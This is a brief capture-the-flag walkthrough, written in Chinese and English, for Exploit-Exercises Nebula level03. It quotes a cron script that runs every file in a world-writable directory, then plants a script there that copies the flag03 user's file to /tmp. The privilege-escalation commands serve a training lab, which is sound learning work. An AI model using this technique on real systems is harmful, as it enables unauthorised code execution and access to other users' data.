i春秋 - Exploit-Exercises: Nebula - level03

About

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

思路

先進flag文件夾看看

cd /home/flag03
vim writable.sh

#!/bin/sh

for i in /home/flag03/writable.d/* ; do
     (ulimit -t 5; bash -x "$i")
     rm -f "$i"
done

程序邏輯

依次執行writable.d文件夾下的所有腳本，然後刪除

根據題目可知系統會每隔幾分鐘執行writable.sh腳本，並且writable.d文件夾是所有人可寫的。那麼獲取flag的思路之一，便可以是寫一個獲取flag的腳本放進writable.d文件夾裏，執行結果重定向到/tmp中文件。

cd /tmp
vim hack

cat /home/flag03/flag > /tmp/flag03

chmod 755 hack
mv hack /home/flag03/writable.d/
cat /tmp/flag03

As for the time, good luck for you!